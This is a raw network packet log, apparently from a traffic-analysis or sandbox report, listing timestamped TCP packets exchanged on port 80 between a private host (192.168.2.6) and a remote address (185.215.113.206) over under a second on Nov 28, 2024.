Nov 28, 2024 15:17:17.606743097 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.606784105 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.607717991 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.607774019 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.607877016 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.607933044 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.608835936 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.608885050 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.608922958 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.608963013 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.609946966 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.609994888 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.610012054 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.610145092 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.611005068 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.611052036 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.611104965 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.611156940 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.612185955 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.612222910 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.612232924 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.612262964 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.613229990 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.613295078 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.613347054 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.613393068 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.614293098 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.614336967 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.659034014 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.659089088 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.659092903 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.659132004 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.659512997 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.659565926 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.659616947 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.659678936 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.660615921 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.660664082 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.660695076 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.660733938 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.661688089 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.661745071 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.661767006 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.661803007 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.662929058 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.662981987 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.663008928 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.663047075 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.663852930 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.664005041 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.664053917 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.665018082 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.665070057 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.665220976 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.665258884 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.666043997 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.666160107 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.666203976 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.667117119 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.667227030 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.667252064 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.667278051 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.668256998 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.668303967 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.668351889 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.668399096 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.669321060 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.669368029 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.669423103 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.669470072 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.670387983 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.670444012 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.670496941 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.670543909 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.671487093 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.671541929 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.671544075 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.671585083 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.672549009 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.672604084 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.728374004 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.728420973 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.728449106 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.728468895 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.728894949 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.728945971 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.729006052 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.729051113 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.730006933 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.730047941 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.730180979 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.730226994 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.731121063 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.731234074 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.731276989 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.732172966 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.732234955 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.732254028 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.732316017 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.733259916 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.733319044 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.733377934 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.733422995 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.734369040 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.734409094 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.734474897 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.734527111 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.735426903 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.735471010 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.735554934 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.735707998 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.736557007 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.736597061 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.736659050 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.736742020 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.737626076 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.737746000 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.737766027 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.737807989 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.738766909 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.738812923 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.738837004 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.738881111 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.739867926 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.739912033 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.739943027 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.739988089 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.740941048 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.740986109 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.741015911 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.741056919 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.742059946 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.742100000 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.742219925 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.742274046 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.743473053 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.743520021 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.743555069 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.743597984 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.744188070 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.744276047 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.744291067 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.744327068 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.745259047 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.745388985 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.745385885 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.745428085 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.746340990 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.746413946 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.746452093 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.746490955 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.747453928 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.747513056 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.747590065 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.747634888 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.748539925 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.748589039 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.748651981 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.748694897 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.749620914 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.749665022 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.749826908 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.749871016 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.750742912 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.750788927 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.750910044 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.750953913 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.751853943 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.751899004 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.751929045 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.751960993 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.752871990 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.753025055 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.798257113 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.798274040 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.798333883 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.798500061 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.798552036 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.798559904 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.798592091 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.799562931 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.799617052 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.799736977 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.799782038 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.800636053 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.800693035 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.800756931 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.800813913 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.801434994 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.801485062 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.801565886 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.801613092 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.802565098 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.802694082 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.802747011 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.803675890 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.803740978 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.803762913 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.803776026 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.804750919 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.804814100 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.804821014 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.804866076 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.805790901 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.805953026 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.805970907 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.806013107 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.806945086 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.806983948 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.807054996 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.807092905 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.807981014 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.808056116 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.808113098 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.808166981 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.809149027 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.809204102 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.809295893 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.809385061 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.810173035 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.810231924 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.810256958 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.810323000 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.811302900 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.811366081 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.811382055 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.811394930 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.812367916 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.812417030 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.812479019 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.812522888 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.813450098 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.813499928 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.813564062 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.813613892 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.814527035 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.814573050 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.814646959 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.814687967 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.815578938 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.815628052 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.860214949 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.860265970 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.860291958 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.860327005 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.860450983 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.860496998 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.860586882 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.860632896 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.861562014 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.861629009 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.861656904 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.861701012 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.862616062 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.862670898 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.862775087 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.862816095 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.863730907 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.863778114 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.864010096 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.864111900 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.864820004 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.864837885 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.864867926 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.864878893 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.865917921 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.865967035 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.866002083 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.866065979 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.867007017 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.867053032 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.867085934 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.867122889 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.868091106 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.868134022 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.868282080 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.868326902 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.869194984 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.869311094 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.869895935 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.869945049 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.870256901 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.870348930 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.870400906 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.871412039 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.871462107 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.871515036 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.871562004 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.872464895 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.872508049 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.872550011 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.872627974 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.873548985 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.873601913 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.873634100 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.873702049 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.929640055 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.929665089 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.929728031 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.929765940 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.930061102 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.930126905 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.930283070 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.930332899 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.930394888 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.930432081 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.931365967 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.931427956 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.931490898 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.931629896 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.932508945 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.932620049 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.932668924 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.933551073 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.933620930 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.933659077 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.933697939 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.934636116 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.934700012 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.934783936 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.934875965 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.936218977 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.936305046 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.936322927 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.936362028 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.936832905 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.936893940 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.936943054 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.936984062 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.937906027 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.937951088 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.938004017 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.938041925 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.939066887 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.939110994 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.939116001 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.939143896 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.940113068 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.940249920 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.940294027 CET	49712	80	192.168.2.6	185.215.113.206
